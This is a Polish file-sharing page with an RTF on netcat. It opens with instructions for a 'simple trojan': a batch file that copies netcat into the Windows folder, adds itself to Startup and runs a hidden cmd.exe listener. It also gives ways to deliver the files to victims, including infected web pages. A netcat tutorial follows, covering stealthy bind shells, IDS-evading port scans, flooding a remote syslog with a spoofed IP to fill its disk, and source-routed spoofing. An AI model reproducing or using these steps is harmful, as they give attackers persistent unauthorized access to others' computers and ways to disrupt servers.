netcat.rtf

(26 KB) Pobierz

Jak zrobic prostego trojana ktory bedzie sie nam uruchamial po kazdym starcie systemu.???

co bedzie nam potrzebne:

1.plik bat

2.netcat

3.mozg:)

AD1.

w pliku bat zapisujemy sobie :

@echo off

copy nc.exe c:\windows\nc.exe

copy automat.bat C:\Documents and Settings\all users\Menu Start\Programy\Autostart\automat.bat

start c:\windows\nc.exe -l -p(numer portu ktory ma byc otwarty) -d -e cmd.exe

Ad2.

Plik netcat.exe umieszczamy w tym samym folderze co nasz plik wsadowy bat

AD3

Jest masa mozliwosci na to by ukryc te dwa pliki w jednym.

1.zbninduj se;]

2.stworz archiwum sfx ktore ci rozpakuje pliki i odpali plik bat (zalecane)

3.wrzuc na strone www i zainfekuj ja tak by sciagala te pliki i odpalala plik wsadowy bat

-------------------------------------------------------------

TERAZ TYLKO SIE TELNETUJ NA HOSTA KTOREMU ZAINSTALOWALES BACKDOORA :) i loozik :)

--------------

Ponizej mala instrukcja oraz wyjasnienie dla tych co nie wiedza jak sie poslugiwac tym narzedziem.

-----------------------------

Netcat (nc/nc.exe) jest bardzo popularnym narzędziem, wykorzystywanym zarówno przez hakerów, administratorów, jak i specjalistów zajmujących się

 

bezpieczeństwem systemów informatycznych. Ogólnie rzecz ujmując, Netcat tworzy i akceptuje połączenia dokonywane przy pomocy dwóch

 

protokołów sieciowych TCP (Transmission Control Protocol) oraz UDP (User Datagram Protocol). W przypadku protokołu UDP, który jest

 

bezpołączeniowy, program umożliwia tylko wysyłanie danych. Można śmiało powiedzieć, że Netcat jest prostym podsystemem sieciowym TCP,/UDP,

 

który umożliwia użytkownikowi bezpośredni dostęp do stosu protokołów TCP/IP na poziomie warstwy aplikacji. Program pozwala kontrolować dane

 

jeszcze przed przesłaniem ich do wyższych warstw stosu, takich jak protokół przesyłania plików FTP (File Transfer Protocol), protokół wykorzystywany

 

do transmisji zawartości stron WWW - HTTP (Hypertext Transfer Protocol), czy też protokół służący do wysyłania poczty elektronicznej - SMTP

 

(Simple Mail Transfer Protocol).

 

Netcat nie posiada graficznego interfejsu i jest narzędziem linii poleceń. O jego dużych możliwościach świadczy natomiast wiele funkcji, które jest on

 

w stanie wykonać oraz sytuacji, w których jest przydatny. Uogólniając, Netcat może być jednym z najbardziej użytecznych narzędzi wykorzystywanych

 

przez hakerów oraz administratorów.

 

Instalacja

 

Netcat jest narzędziem bezpłatnym i w wielu odmianach Unixa (Linuksa) występuje jako jedna z dodatkowych aplikacji dostarczanych w dystrybucji.

 

Głównym miejscem w sieci, z którego można pobrać aktualną wersję programu, zarówno dla systemów Windows, jak i dla Unixa (Linuksa), jest

 

www.atstake.com/research/tools/. Znajduje się tam także wiele innych, równie ciekawych i przydatnych aplikacji – między innymi narzędzie do łamania

 

haseł L0phtCrack.

 

W przypadku wersji Netcat dla Windows, należy pobrać spakowane archiwum ZIP i rozpakować pliki do wybranego katalogu. Po wykonaniu tej

 

czynności, program jest gotowy do użycia.

 

W przypadku wersji dla Unixa (Linuksa), można pobrać kod źródłowy Netcata i dokonać jego kompilacji. W tym celu należy:

 

1. Pobrać plik „nc110.tgz” ze strony WWW @tstake.

2. Rozpakować go poleceniem:

 

[root@linux] tar zxf nc110.tgz

 

Warto pamiętać, że program kompresujący nie tworzy katalogu dla Netcat automatycznie i dlatego warto utworzyć katalog, w którym rozpakuje się

 

archiwum „nc110.tgz”, na przykład poleceniem:

 

[root@linux] mkdir nc

 

 

Podczas kompilacji można wykorzystać dwie opcje. Pierwszą z nich jest GAPING_SECURITY_HOLE. Pozwala ona Netcatowi na przechwytywanie,

 

modyfikowanie i przekierowanie danych przesyłanych między dwoma zewnętrznymi programami (usługami). Jest to bardzo niebezpieczna opcja, a

 

zarazem posiadająca duże możliwości wykorzystania. Dzięki niej Netcat może działać jako fałszywy demon (program działający w tle) usługi „inetd”,

 

pozwalając na zdalne wykonywanie poleceń oraz łączenie się z nasłuchującymi portami. Druga opcja - TELNET, pozwala Netcatowi na prowadzenie

 

negocjacji z serwerem usługi „telnet” oraz uzyskanie dostępu na określonych warunkach. Sposoby jej wykorzystania podane zostaną w dalszej części

 

artykułu.

 

Aby uaktywnić jedną z wyżej opisanych opcji (lub obie), należy dodać następującą linię do pliku „makefile”:

 

DFLAGS = -DGAPING_SECURITY_HOLE –DTELNET

 

W tym miejscu warto zaznaczyć, że skompilowany plik programu Netcat może być doskonałą bronią obosieczną. Może wykorzystać zainstalowanego

 

Netcata jako konia trojańskiego (łącząc się z nim), dlatego bardzo ważne jest odebranie prawa do wykonywania tego programu wszystkim innym

 

użytkownikom natychmiast po jego skompilowaniu. Aby dokonać kompilacji, należy wykorzystać polecenie:

 

[root@linux] make systemtype

 

W przypadku wersji Netcata dla Windows, wszystkie opcje (plus inne) są wykorzystywane domyślnie. Jeśli nie dokonano zmian nazwy programu, w

 

Unixie Netcat będzie nazywał się „nc”, a w Windows „nc.exe”.

 

 

Opcje i argumenty

 

Podstawowa składnia programu Netcat to:

 

nc [opcje] host porty

 

w której „nc” jest nazwą programu, „host” jest nazwą lub adresem IP (Internet Protocol) komputera, natomiast „porty” oznaczają port lub zakres portów

 

komputera „host”, na których Netcat będzie wykonywał określone czynności. „[opcje]” to miejsce, gdzie można wpisywać szereg argumentów

 

różnicujących pracę aplikacji. Argumenty wraz z krótkimi komentarzami przedstawia tabela 1.

 

Opcje programu Netcat

-d opcja dostępna tylko w Windows. Netcat pracuje w trybie stealth. Pozwala na uruchomienie i działanie programu w tle, bez otwartego

 

okienka trybu tekstowego – ukrycie działania.

-e opcja dostępna po dokonaniu kompilacji z opcją GAPING_SECURITY_HOLE. Nasłuchujący Netcat wykona za każdym razem, gdy ktoś

 

(lub coś) dokona próby połączenia się z portem, na którym nasłuchuje Netcat. Dodatkowo klient Netcata przekieruje oryginalną transmisję w inne

 

miejsce, w którym nasłuchiwać będzie inny Netcat. Jest to bardzo niebezpieczna opcja, pozwalająca na szybkie przygotowanie „tylnego wejścia” do

 

systemu (tzw. backdoor).

-i zezwala na opóźnienie wykonania zadania przez czas równy . Opcja przydatna głównie podczas skanowania portów i innych zadań,

 

umożliwiająca ukrycie (w pewnym zakresie) wykorzystania narzędzia jako elementu skryptu (automatyzacja).

-g pozwala na wykorzystanie do ośmiu punktów (adresów IP), przez które będą przesyłane dane. Opcja jest niezwykle przydatna podczas

 

podszywania się pod jakiś adres IP (IP spoofing) w celu np. obejścia reguł zabezpieczających firewalla lub też ukrycie źródłowego adresu IP

 

nadawcy wiadomości e-mail. W tym celu potrzebny jest odpowiedni dostęp do każdego węzła, przez który pakiet ma przechodzić, a węzły muszą

 

wspierać tzw. „source routing”.

-G opcja ta pozwala na zmianę kolejności trasowania pakietów poprzez węzły w sieci zdefiniowane poprzez opcję „-g”.

-l włącza tryb nasłuchiwania. Opcja ta musi występować w połączeniu z opcją „-p”, aby Netcat wiedział, na którym porcie ma nasłuchiwać,

 

oczekując na przychodzące połączenia.

-L opcja dostępna tylko w Windows. Działa podobnie do „-l” oraz wymaga opcji „-p”. Różnica w stosunku do „-l” polega na tym, że po

 

zakończeniu połączenia Netcat ponownie uruchamia się w trybie nasłuchiwania – bez potrzeby ingerencji użytkownika.

-n opcja powoduje, że Netcat nie będzie w ogóle wyszukiwał hostów w sieci.

-o Netcat tworzy plik zawierający dane przychodzące i wychodzące z hosta. W celu zapisywania jedynie danych przychodzących, należy użyć

 

symbolu „<” przed nazwą pliku („nc –o ” („nc –o >nazwa_pliku”) umożliwia natomiast przechwytywanie danych wysyłanych.

-p pozwala na specyfikację lokalnego portu, który będzie wykorzystywany przez program. Jeśli opcja ta nie zostanie jednoznacznie

 

zdefiniowana, system operacyjny sam przydzieli port dla Netcat. Należy pamiętać, że w systemach Unix tylko administrator (root) może przydzielać

 

porty poniżej wartości 1024.

-r opcja bardzo przydatna podczas skanowania dużej ilości portów. Pozwala na losowe wybieranie portów lokalnych i zdalnych z grupy

 

zdefiniowanych w momencie wykonania polecenia. Losowe mieszanie kolejności powoduje, że skanowanie nie może zostać niezauważone.

-s opcja ta pozwala na zdefiniowanie źródłowego adresu IP, który będzie wykorzystywany przez program Netcat. Dzięki tej opcji, hakerzy

 

mogą ukrywać swój prawdziwy adres IP lub podszywać się pod jakiś inny.

-t opcja dostępna po dokonaniu kompilacji z opcją TELNET. Dzięki niej Netcat będzie działał jako klient usługi Telnet. Podczas negocjacji z

 

serwerem Telnet, Netcat będzie podawał dane bez znaczenia, ale połączenie zostanie zaakceptowane.

-u opcja powoduje używanie bezpołączeniowego i beznegocjacyjnego protokołu UDP zamiast domyślnego TCP.

-v opcja definiuje ilość informacji wyświetlanych przez Netcata w trakcie działania. Bez „-v” program wyświetli tylko dane, które otrzyma. Jedna

 

opcja „-v” pozwoli uzyskać więcej informacji dotyczących adresów IP oraz ewentualnego wystąpienia błędów. Podwójne „-v” spowoduje, że, po

 

zakończeniu połączenia, Netcat wyświetli ilość danych wysłanych i otrzymanych podczas trwania połączenia.

-w po upłynięciu czasu w sekundach Netcat zakończy połączenie.

-z opcja powoduje, że, podczas skanowania portów, Netcat wyśle tylko niezbędne minimum informacji, aby upewnić się, które porty są

 

otwarte w zdalnym systemie.

 

Przykłady zastosowań

 

Program Netcat umożliwia zdalny dostęp do komputera w sieci z innego komputera. Spełniony powinien zostać następujący warunek: komputer

 

zdalny musi mieć swój adres IP widoczny z sieci (dla naszego przykładu będzie to 192.168.120.23), w której znajduje się komputer

 

lokalny(nawiązujący połączenie). Uzyskany dostęp ma być realizowany do systemu Windows 2000 z dowolnego innego systemu operacyjnego

 

(Windows 9x lub Linuks).

 

W celu uzyskania zdalnego dostępu do systemu Windows, należy uruchomić w nim Netcat:

 

C:\> nc.exe –l –p5555 –e cmd.exe

 

Natomiast w systemie Unix (Linuks) polecenie wyglądałoby następująco (lub podobnie w zależności od dystrybucji):

 

[root@linux] ./nc –l –p 5555 –e /bin/sh

 

Teraz wystarczy połączyć się z nim przy pomocy dowolnego klienta usługi Telnet z drugiego komputera:

 

C:\> telnet 192.168.120.23 5555

 

W ten sposób uzyskano dostęp, z dowolnego komputera, do trybu tekstowego („cmd.exe”) systemu, w którym działa Netcat. W Windows, jeśli,

 

zamiast opcji „-l”, zostanie wykorzystane „-L”, Netcat nie zakończy swojego działania po zamknięciu sesji ze zdalnego systemu. Należy pamiętać, że

 

dostęp do systemu zdalnego będzie miał takie same prawa, z jakimi został uruchomiony nasłuchujący Netcat. W Windows 9x/Me jest to prawo do

 

wszystkiego. W wywołaniu Netcata zamiast „cmd.exe”, obowiązującego dla Windows NT/2000/XP/.Net, należy wpisać „command.com”.

 

Powyższe rozwiązanie posiada jednak jeden poważny minus. Netcat, uruchomiony w systemie docelowym, wykorzystuje okienko trybu tekstowego.

 

Haker wolałby jednak, aby jego działania pozostawały niezauważone. Cóż może zrobić? Wystarczy, że wykorzysta przełącznik „-d”. Wtedy Netcat

 

będzie działał w tle:

 

C:\> nc –L –p 5555 –d –e cmd.com

 

Po wykonaniu polecenia można zamknąć okno trybu tekstowego – Netcat działa w tle. Dobry administrator, wcześniej czy później, wykryje

 

nasłuchujący program Netcat, dlatego hakerzy zwykle zamieniają znane nazwy, wykorzystywanych przez siebie programów, na takie, które nie

 

wzbudzają podejrzeń.

 

Jakkolwiek, Netcat nie jest typowym skanerem portów, istnieje możliwość wykorzystania go w tym celu:

 

[root@linux] ./nc –v –z 192.168.120.45 1-1024

 

Powyższe polecenie rozpocznie skanowanie zakresu portów od 1 do 1024 maszyny o adresie IP 192.168.120.45. Opcja „-v” jest niezbędna, gdyż, w

 

innym wypadku, Netcat nie zwróciłby żadnych informacji. Netcat jest wolniejszy od zwykłych skanerów portów, ale mimo to może być bardzo

 

przydatny. Aby się o tym przekonać, wystarczy prześledzić odpowiednie logi systemowe (np. syslog w Linuksie) i zobaczyć, jakie wpisy zostały

 

poczynione.

 

Poniższe polecenie sprawdzi, czy, uruchomiony wcześniej Netcat, nadal nasłuchuje na porcie 5555:

 

C:\>nc -v -z 192.168.0.20 5555

NOTE[192.168.0.20] 5555 (?) open

C:\>

 

Jak widać Netcat dalej działa na komputerze Note, umożliwiając zdalny dostęp z innego komputera.

 

Po dodaniu do powyższego polecenia opcji „-i” oraz „-r”, działanie Netcata stanie się bardziej wyrafinowane, nawet dla skomplikowanych firewalli oraz

 

systemów IDS (Intrusion Detection Systems). Warto zwrócić uwagę na fakt, iż kolejność skanowanych i wykrywanych portów jest różna (por. ramka 1).

 

Każdy port będzie skanowany co 24 sekundy. Skanowanie można też przeprowadzić dodając opcję „-u”, jednak Netcat, podczas skanowania przy

 

pomocy protokołu UDP, wykorzystuje komunikaty ICMP (Internet Control Message Protocol). W związku z tym, gdy urządzenie brzegowe sieci, której

 

skanowanie jest przeprowadzane, nie będzie przepuszczało tego typu komunikatów – program Netcat nie spełni swojego zadania.

 

 

Skanowanie portów za pomocą programu Netcat

 

[root@linux] ./nc –v –z –r –i 24 192.168.0.10 25-445

 

NOTE [192.168.0.10] 80 (http): connection refused

NOTE [192.168.0.10] 25 (smtp): connection refused

NOTE [192.168.0.10] 138 (?): connection refused

NOTE [192.168.0.10] 110 (pop3): connection refused

NOTE [192.168.0.10] 135 (epmap) open

NOTE [192.168.0.10] 445 (microsoft-ds) open

NOTE [192.168.0.10] 443 (https): connection refused

NOTE [192.168.0.10] 139 (netbios-ssn) open

 

 

 

Netcat może służyć do uzyskiwania informacji od usług działających na otwartych portach. Jeśli czytelnik wykonał powyższe przykłady, zapewne

 

zauważył, że polecenie przedstawione w ramce 1 zatrzymuje się na pierwszym porcie. Jest to spowodowane faktem, że program czeka na interakcję

 

użytkownika (na wprowadzenie danych wejściowych). Rozwiązaniem tego problemu jest, np.:

 

[root@linux] echo QUIT | ./nc –v 192.168.0.20 25-445

 

To polecenie, wydane w Linuksie, powinno spowodować wypisanie wizytówek usług, które będą nasłuchiwały na otwartych portach. Niestety, w

 

Windows nie działają poprawnie zakresy portów. Zamiast np. 25-445, jak w Linuksie, w Windows trzeba każdy port wpisywać w oddzielnym poleceniu

 

(można ten problem rozwiązać dodatkowym zewnętrznym skryptem).

 

Jakie informacje uda uzyskać od z serwera WWW (ramka 2)?

 

 

Jakie informacje można uzyskać od serwera WWW?

 

C:\>nc -v -z 192.168.0.1 80

cienias.local.pl [192.168.0.1] 80 (http) open

 

C:\>nc -v 192.168.0.1 80

cienias.local.pl [192.168.0.1] 80 (http) open

GET / HTTP

 

HTTP/1.0 400 Bad Request

Server: Squid/2.4.STABLE7

Mime-Version: 1.0

Date: Wed, 07 Aug 2002 19:14:13 GMT

Content-Type: text/html

Content-Length: 906

Expires: Wed, 07 Aug 2002 19:14:13 GMT

X-Squid-Error: ERR_INVALID_REQ 0

X-Cache: MISS from squid.cienias.pl

X-Cache-Lookup: NONE from squid.cienias.pl:8080

Proxy-Connection: close

C:\>

 

 

 

W pierwszej kolejności trzeba sprawdzić, czy serwer o adresie IP 192.168.0.1 posiada otwarty port 80 (usługa WWW standardowo nasłuchuje na

 

tym porcie). Jeżeli port jest otwarty, należy ponownie wpisać polecenie, ale tym razem bez opcji „-z” i w następnej linii dodać „GET / HTTP”, kończąc

 

podwójnym naciśnięciem . Serwer WWW odpowiada swoją nazwą i wersją. Na zakończenie trzeba sprawdzić jego słabe punkty i... pamiętać, że tego

 

robić nie wolno :)

Warto zwrócić uwagę na fakt, że w tym przypadku sprawdzany serwer WWW nie jest „zwykłym” serwerem WWW, ale raczej z serwerem proxy

 

(ostatnia linijka przykładu z ramki 2). Dobrzy administratorzy często dokonują zmian w domyślnych wizytówkach usług. Pozwala to oszukać wielu

 

potencjalnych intruzów. Jest to mozolna praca, ale czasem może przynieść korzyści – natomiast haker nigdy nie powinien do końca ufać temu, co

 

widzi na ekranie monitora.

 

Użytkownicy Linuksa mogą spróbować wykorzystać z demona „syslog”, który zwykle działa na porcie UDP 514. Istnieje prosty sposób na zapełnienie

 

logów systemowych bezsensownymi danymi, powodując np. przepełnienie dysku twardego na zdalnej maszynie. Aby tego dokonać, trzeba wykonać

 

polecenie:

 

[root@linux] yes „<20>cośtamcośtamcośtam” | nc –s 10.10.10.10 –u ofiara.com 514

 

Polecenie „yes” powoduje wpisywanie tekstu, który występuje po nim do momentu, gdy proces zostanie zabity („killed”) przez system „ofiara.com”.

 

Przykładowym powodem jego zabicia jest sytuacja, gdy zabraknie miejsca na dysku. Co ciekawsze, podany adres źródłowy IP 10.10.10.10 może nie

 

istnieć (choć będzie pojawiał się w logach), ponieważ użyty został bezpołączeniowy protokół UDP, który nie wymaga ustanowienia sesji.

 

Najlepszą obroną, przed atakiem tego typu, jest ograniczenie ilości danych odbieranych przez daemona „syslog” oraz zablokowanie przychodzącego

 

ruchu „syslog” na routerze brzegowym sieci.

 

Jednym z bardziej interesujących problemów, z codziennej praktyki hakera, jest umiejętność podszywania się pod cudzy adres IP, w celu ukrycia

 

własnej tożsamości. Oczywiście, samo podanie fałszywego adresu jest zadaniem bardzo prostym (opcja „-s”). Problemem jednak staje się

 

zmuszenie adresata do odesłania odpowiedzi nie pod fałszywy, ale pod prawdziwy adres IP, pod którym nasłuchuje oprogramowanie hakera bez

 

ujawnienia się tego ostatniego.

 

Z pomocą przychodzi hakerowi opcja „-g”, pozwalająca na sprecyzowanie kilku adresów IP, przez które zostanie wysłany pakiet powrotny na

 

sfałszowany adres. W jednym z tych punktów może znajdować się, kontrolowane przez hakera, oprogramowanie zmieniające fałszywy adres IP na

 

inny, tym razem prawdziwy, który jest w posiadaniu intruza.

 

Na przykład polecenie:

 

C:\> nc –g 10.10.10.1 –g 10.10.10.2 –g 10.10.10.3 10.10.10.4 23

 

,spowoduje połączenie się z usługą „telnet” maszyny 10.10.10.4 (port TCP 23). Jeśli maszyna ta odpowie, to pakiet przejdzie najpierw przez hosty o

 

adresach 10.10.10.1-2, a następnie do 10.10.10.3. Należy dodać, iż nie wszystkie routery zezwalają na wykorzystanie tej techniki („source routing”), a

 

większość systemów wykrywania intruzów (jak np. SNORT) alarmuje po wykryciu, większego niż zwykle, nagłówka IP w pakiecie.

 

Netcat pozwala na przechwytywanie pakietów. Jednym z praktycznych zastosowań jego możliwości może być przejęcie i zrzut do pliku danych

 

...

Zgłoś jeśli naruszono regulamin